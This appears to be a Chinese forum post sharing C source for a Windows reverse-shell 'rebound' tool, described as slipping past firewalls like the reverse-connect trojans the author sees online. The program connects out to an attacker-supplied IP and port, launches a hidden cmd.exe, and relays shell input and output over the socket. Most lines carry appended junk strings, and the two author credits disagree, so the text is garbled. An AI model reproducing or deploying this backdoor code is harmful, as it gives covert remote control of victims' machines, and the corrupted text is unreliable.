这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tg9{(_t/W
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/* ============================== "s@q(J
Rebound port in Windows NT ;{0%Vp{
By wind,2006/7 8?w#=@ s
===============================*/ "#h/sAIs
#include `1#Z9&bO
#include 9"}5jq4*
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#pragma comment(lib,"wsock32.lib") )q[Wzx_ j<
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void OutputShell(); *@WBaN+
SOCKET sClient; =<AG}by![
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SPauno <M
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void main(int argc,char **argv) F'@9kdp
{ $^YHyfh
WSADATA stWsaData; S8C}C#
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; n8FIxl&u
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if(argc != 3) F|P?|
{ r&~]6
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printf("Useage:\n\rRebound DestIP DestPort\n"); <)"2rxX&5
return; ?!3u?Kd
} O8-Z >;
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WSAStartup(MAKEWORD(2,2),&stWsaData); lXD=uRCI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g'EPdE
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stSaiClient.sin_family = AF_INET; +;bZ(_ohG
stSaiClient.sin_port = htons(0); :*cd$s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6t'.4SR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3@1$y`SN
{ G\(*z4@Gz
printf("Bind Socket Failed!\n"); dki3(
return; V|<'o<h8
} lQ4$d{m`
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stSaiServer.sin_family = AF_INET; 4Vd[cRh2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w,X J8+B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >A}ra ^gU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }|RL6p-/'
{ m&[(xVM
printf("Connect Error!"); (v$
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return; Qz$Wp*
} _P%PjFQ)
OutputShell(); \7e4t
} KYq<n& s
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void OutputShell() }s8xr>
{ R?J8#JPXD
char szBuff[1024]; Q v},X~^R
SECURITY_ATTRIBUTES stSecurityAttributes; g9IIC5
OSVERSIONINFO stOsversionInfo; JtF)jRB0,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0QEcJ]Qb8
STARTUPINFO stStartupInfo; TjpAJW@-
char *szShell; &7Xsn^opku
PROCESS_INFORMATION stProcessInformation; ${97G#
unsigned long lBytesRead; $-(lp0\*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YI]/gWeu
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |{rhks~
stSecurityAttributes.lpSecurityDescriptor = 0; 9MbF:
stSecurityAttributes.bInheritHandle = TRUE; fS%B/h=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -tp3qi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T7 (d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C\ 34R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'yh)6mid
stStartupInfo.wShowWindow = SW_HIDE; +u
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stStartupInfo.hStdInput = hReadPipe; %iZ~RTY6 !
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qr~zTBT]
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GetVersionEx(&stOsversionInfo); tw]
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switch(stOsversionInfo.dwPlatformId) ho!qXS
{ TnuA uui*
case 1: WJ\,Y} J
szShell = "command.com"; 52r\Q}v$
break; j
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default: 4UN|`'c
szShell = "cmd.exe"; M1*x47bN
break; P|a|4Bb+fW
} d-I=xpB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -)DxF<8B
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send(sClient,szMsg,77,0); i\*
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while(1) %V(U]sbV
{ 8C I\NR{x8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :aD_>,n
if(lBytesRead) V)ITk\
{ p1IN%*IV+o
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +}BKDEb
send(sClient,szBuff,lBytesRead,0); C
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}
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else Seq
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{ ]DZ~"+LaG
lBytesRead=recv(sClient,szBuff,1024,0); 0 n|>/i
if(lBytesRead<=0) break; [9yy<Z5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1=^|
} ayN[y
} LVy (O9g
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return; 8w~X4A,
}